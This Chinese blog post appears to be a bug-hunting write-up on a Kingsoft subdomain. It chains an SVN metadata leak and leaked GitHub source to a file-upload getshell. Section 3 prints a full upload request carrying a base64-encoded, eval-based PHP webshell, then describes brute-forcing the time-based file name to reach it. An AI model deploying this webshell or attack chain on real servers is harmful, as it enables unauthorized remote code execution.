挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下
1.SVN泄露
首先自然是子域名收集,发现存在一个很长的二级域名:
*打码*.kingsoft.com
因为是带着xray扫的,所以直接发现.svn/entries可访问,存在SVN信息泄露
进一步利用,主要是访问https://*打码*.kingsoft.com/.svn/wc.db 可获取svn数据库信息
db文件可通过数据库读取软件打开,可以清晰看到网站文件结构:
<img decoding="async" src="/wp-content/uploads/2021/07/7286b54d-c0e0-4d31-b202-db0583c5b42e-1024x531.png" title="记一次金山信息泄露+github源码泄露getshell插图" alt="记一次金山信息泄露+github源码泄露getshell插图" />
发现存在服务器日志页面https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16
点击进入可看见服务器所有日志
以及各类服务器日志信息
<img decoding="async" src="/wp-content/uploads/2021/07/01132b12-fe49-4422-9458-1a845bb9cdeb-1024x462.png" title="记一次金山信息泄露+github源码泄露getshell插图1" alt="记一次金山信息泄露+github源码泄露getshell插图1" /> {#more-1278}
2.github源码泄露
在SVN数据翻找的过程中发现一个文件:showtrace.lua
发现内网svn地址:svn.funova.com
<img decoding="async" src="/wp-content/uploads/2021/07/e55ec68b-0908-4c1f-a387-72291052a160-1024x773.png" title="记一次金山信息泄露+github源码泄露getshell插图2" alt="记一次金山信息泄露+github源码泄露getshell插图2" />
本着试试看的原则,在github中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面
<img decoding="async" src="/wp-content/uploads/2021/07/30ef751c-e755-4215-ae5f-e5f9292ae579.png" title="记一次金山信息泄露+github源码泄露getshell插图3" alt="记一次金山信息泄露+github源码泄露getshell插图3" />
经过与SVN泄露的文件对比验证,确定这就是该网站的项目源码!
3.文件上传getshell
赶快看看项目中的源码内容,看看有无利用点,正好发现存在个upload.php
<img decoding="async" src="/wp-content/uploads/2021/07/86db1ba2-a83a-40c6-83a0-26d0b9348d97-757x1024.png" title="记一次金山信息泄露+github源码泄露getshell插图4" alt="记一次金山信息泄露+github源码泄露getshell插图4" />
该PHP文件会在save目录下创建一个通过devid与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:
<img decoding="async" src="/wp-content/uploads/2021/07/7cbaa8e9-a3e8-4cae-a1e7-b8d8d7250aa8.png" title="记一次金山信息泄露+github源码泄露getshell插图5" alt="记一次金山信息泄露+github源码泄露getshell插图5" />
其中前面为日期,后面为小时-分钟-秒数
开始构造上传payload,根据上传代码分析,文件内容需要经过一层base64加密,把shell提前加密一下即可:
POST /api/upload.php HTTP/1.1
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50
op=0\&devid=1\&fname=testhtml.php\&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==
</code>
</pre>
上传返回200ok,但没有返回文件名
![记一次金山信息泄露+github源码泄露getshell插图6](/wp-content/uploads/2021/07/QQ截图20210713115230-1024x549.jpg "记一次金山信息泄露+github源码泄露getshell插图6")
<img decoding="async" src="/wp-content/uploads/2021/07/QQ截图20210713115230-1024x549.jpg" title="记一次金山信息泄露+github源码泄露getshell插图6" alt="记一次金山信息泄露+github源码泄露getshell插图6" />
问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:
![记一次金山信息泄露+github源码泄露getshell插图7](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw== "记一次金山信息泄露+github源码泄露getshell插图7")
<img decoding="async" src="/wp-content/uploads/2021/07/微信截图_20210713115307.png" title="记一次金山信息泄露+github源码泄露getshell插图7" alt="记一次金山信息泄露+github源码泄露getshell插图7" />
webshell连接成功:
![记一次金山信息泄露+github源码泄露getshell插图8](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw== "记一次金山信息泄露+github源码泄露getshell插图8")
<img decoding="async" src="/wp-content/uploads/2021/07/QQ截图20210713115027-1024x624.jpg" title="记一次金山信息泄露+github源码泄露getshell插图8" alt="记一次金山信息泄露+github源码泄露getshell插图8" />